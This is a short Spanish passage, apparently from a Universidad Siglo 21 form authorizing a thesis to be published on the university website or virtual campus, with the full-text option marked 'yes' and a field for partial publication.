pagina web y/o el campus virtual de la Universidad Siglo 21 segun el siguiente detalle:

Texto completo de la Tesis
(Marcar SI/NO)1 Sl

Publicacién parcial
(Informar que capitulos se publicardn)
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